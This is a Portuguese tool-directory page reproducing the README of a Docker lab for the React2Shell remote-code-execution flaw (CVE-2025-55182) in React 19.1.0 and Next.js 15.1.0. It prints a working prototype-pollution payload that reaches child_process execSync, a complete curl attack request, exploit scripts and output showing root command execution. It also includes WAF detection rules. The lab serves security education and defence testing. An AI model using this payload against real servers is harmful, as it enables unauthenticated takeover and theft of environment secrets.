Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2025-55182-test-lab-windows — Laboratório de testes baseado em Docker para a vulnerabilidade RCE CVE-2025-55182 (React2Shell) no React 19.1.0/Next.js 15.1.0. Inclui scripts de exploração, testes de bypass de WAF com NGINX/ModSecurity e comparação de versão corrigida para educação em segurança. | Kitploit
Ferramentas/GitHubGitHub/fankh/cve-2025-55182-test-lab-windows
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebBypass de WAFCTFTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de PayloadsLabs e Prática
GitHubfankh/cve-2025-55182-test-lab-windows

cve-2025-55182-test-lab-windows

Laboratório de testes baseado em Docker para a vulnerabilidade RCE CVE-2025-55182 (React2Shell) no React 19.1.0/Next.js 15.1.0. Inclui scripts de exploração, testes de bypass de WAF com NGINX/ModSecurity e comparação de versão corrigida para educação em segurança.

Ver Repositório
13há 9 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Teste CVE-2025-55182 (React2Shell)

⚠️ Aviso: Contém uma vulnerabilidade de execução remota de código (RCE) realmente funcional.

📋 Índice

  • Visão Geral
  • Informações da Vulnerabilidade
  • Início Rápido
  • Demonstração do Ataque Real
  • Ambiente de Teste
  • Regras de Defesa WAF
  • Estrutura de Arquivos
  • Referências
  • Aviso Legal

Visão Geral

Ambiente de teste em contêiner para a vulnerabilidade CVE-2025-55182 (React2Shell).

Principais Características

  • ✅ Reprodução real da vulnerabilidade – Ambiente React 19.1.0 / Next.js 15.1.0
  • ✅ Ataque RCE bem-sucedido – Execução real de comandos verificada
  • ✅ Teste de defesa WAF – Configuração de regras NGINX e Apache ModSecurity
  • ✅ Comparação de versões corrigidas – Teste versão vulnerável vs. corrigida
  • ✅ Ambiente Docker completo – Ambiente isolado em contêiner

Resultado do Ataque

🔴 CRITICAL VULNERABILITY CONFIRMED!
   Successfully executed 6/7 commands

Executed Commands:
  ✅ whoami: root
  ✅ hostname: c89f1bd355b2
  ✅ pwd: /app
  ✅ id: uid=0(root) gid=0(root) groups=0(root)...
  ✅ uname: Linux c89f1bd355b2 6.6.87.2-microsoft-standard-WSL2...
  ✅ node-ver: v20.19.6

Informações da Vulnerabilidade

CVE-2025-55182 (React2Shell)

Pontuação CVSS: 10.0 (CRITICAL)
Impacto: Execução Remota de Código (RCE)
Requer Autenticação: Não
Vetor de Ataque: Rede

Versões Vulneráveis

  • React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • Next.js: < 15.0.5, < 15.1.9, < 15.2.6, < 15.3.6, < 15.4.8, < 15.5.7, < 16.0.7

Versões Corrigidas

  • React: 19.1.2+
  • Next.js: 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+

Princípio do Ataque

  1. Prototype Pollution – Poluição de protótipo via $1:__proto__:then
  2. Acesso ao Construtor de Funções – Acesso via desserialização Blob (prefixo $B)
  3. Execução de Código Arbitrário – Criação de função com código controlado pelo atacante
  4. Execução de Comandos do Sistema – RCE via child_process
// Estrutura do payload de ataque
{
  "then": "$1:__proto__:then",           // Poluição de Object.prototype.then
  "status": "resolved_model",
  "reason": -1,
  "value": '{"then": "$B0"}',            // Gatilho de desserialização Blob
  "_response": {
    "_prefix": "código_malicioso",               // Código a ser executado
    "_formData": {
      "get": "$1:constructor:constructor"  // Acesso ao construtor de funções
    }
  }
}

Início Rápido

Pré-requisitos

  • Docker Desktop
  • Node.js 20+ (para testes locais, opcional)
  • Mínimo de 4 GB de RAM
  • Pelo menos 2 GB de espaço livre em disco

Passo 1: Iniciar o Ambiente

Windows (PowerShell):

PowerShell -ExecutionPolicy Bypass -File .\run-tests.ps1 start

Passo 2: Verificar Status

.\run-tests.ps1 status

Aguarde até que todos os contêineres estejam no estado healthy (cerca de 1-2 minutos).

Passo 3: Executar o Ataque

Windows (PowerShell):

# Método 1: Usar script PowerShell (recomendado)
.\tests\exploit-working.ps1

# Método 2: Executar Node.js diretamente
node tests\exploit-working.js

### Passo 4: Verificar Resultados

Você pode verificar os resultados da execução dos comandos nos logs do servidor:

```bash
docker compose logs vulnerable-app --tail=20

Demonstração do Ataque

Script de Ataque Automatizado

exploit-working.js ⭐ Recomendado

Windows:

# Script PowerShell (recomendado)
.\tests\exploit-working.ps1

# Ou execute Node.js diretamente
node tests\exploit-working.js

O que faz:

  • ✅ Executa comandos shell arbitrários
  • ✅ Captura a saída dos comandos nos logs do servidor
  • ✅ Testa automaticamente múltiplos comandos
  • ✅ Fornece relatório detalhado da vulnerabilidade

Comandos testados:

  • whoami – Usuário atual (root)
  • hostname – Nome do host do contêiner
  • pwd – Diretório de trabalho (/app)
  • id – Informações completas do usuário
  • uname -a – Informações do sistema
  • node --version – Versão do Node.js

Ataque Manual

Ataque Direto com curl

# Criar arquivo de payload
cat > payload.txt << 'EOF'
------WebKitFormBoundary123
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"console.log('[EXPLOIT] RCE Success');const result=require('child_process').execSync('whoami').toString();console.log('[RESULT]',result);","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary123
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundary123--
EOF

# Enviar ataque
curl -X POST http://localhost:3000/ \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123" \
  -H "Next-Action: exploit" \
  --data-binary @payload.txt

# Verificar execução nos logs
docker compose logs vulnerable-app --tail=20 | grep -E "\[EXPLOIT\]|\[RESULT\]"

Executar Comandos Personalizados

Você pode modificar o script de ataque para executar comandos desejados:

// No arquivo exploit-working.js:
const tests = [
  { name: 'custom', cmd: 'ls -la /app', desc: 'Listar diretório da aplicação' },
  { name: 'env', cmd: 'printenv', desc: 'Exibir variáveis de ambiente' }
]

Ambiente de Teste

Contêineres Docker

PortaServiçoVersão ReactFinalidadeStatus WAF
3000vulnerable-app19.1.0Vulnerável – Teste CVE-2025-55182❌ Sem proteção
3001patched-app19.1.2Seguro – Verificação do patch✅ Corrigido
8080nginx → vulnerable19.1.0Teste WAF (NGINX)⚠️ Limitado (sem inspeção de body)
8081apache → vulnerable19.1.0Teste WAF (ModSecurity)⚠️ Limitado (resposta 405)
8082nginx → patched19.1.2Teste de proteção dupla✅ Corrigido

Ambiente da Aplicação

  • Framework: Next.js 15.1.0 (App Router)
  • Versão React: 19.1.0 (vulnerável)
  • Node.js: 20.19.6

Cenários de Teste

Cenário 1: Ataque à Versão Vulnerável

# Executar ataque funcional
node tests/exploit-working.js

# Resultado esperado: Comando executado com sucesso
# Saída: Informações do usuário, detalhes do sistema, etc.

Cenário 2: Teste na Versão Corrigida

Windows (PowerShell):

# Usar script PowerShell
.\tests\exploit-working.ps1 -Port 3001

Resultado esperado: Ataque falha (React 19.1.2 bloqueia o ataque)

Cenário 3: Teste de Bloqueio WAF

Windows (PowerShell):

# Tentar ataque através do NGINX WAF
.\tests\exploit-working.ps1 -Port 8080

Resultado esperado: Bloqueado pelas regras do WAF


Regras de Defesa WAF

Regras de Defesa NGINX

Localização: nginx/nginx.conf

Padrões de detecção:

  1. Prototype Pollution – __proto__, constructor:constructor
  2. Abuso do Flight Protocol – $X:__proto__, referências $B
  3. Cadeia de Gadgets – child_process, execSync, require()
  4. Bypass com URL Encoding – %5f%5fproto%5f%5f
  5. Cabeçalhos Suspeitos – Next-Action: #constructor

Ação de bloqueio:

HTTP 403 Forbidden
{
  "error": "Request blocked by WAF",
  "protection": "CVE-2025-55182",
  "waf": "NGINX"
}

Regras Apache ModSecurity

Localização: apache/modsecurity-rules.conf

Intervalo de IDs de regras: 100001-100017

Regras principais:

  • 100001: Detecção de __proto__
  • 100002: Acesso à cadeia de construtor
  • 100003-100004: Abuso do Flight protocol
  • 100006-100007: Padrões de cadeia de gadgets
  • 100008-100011: Tentativas de RCE (child_process, exec, spawn, require)
  • 100015: Cabeçalho Next-Action suspeito
  • 100017: Bloqueio baseado em pontuação anômala

Teste do WAF

Baixar ferramenta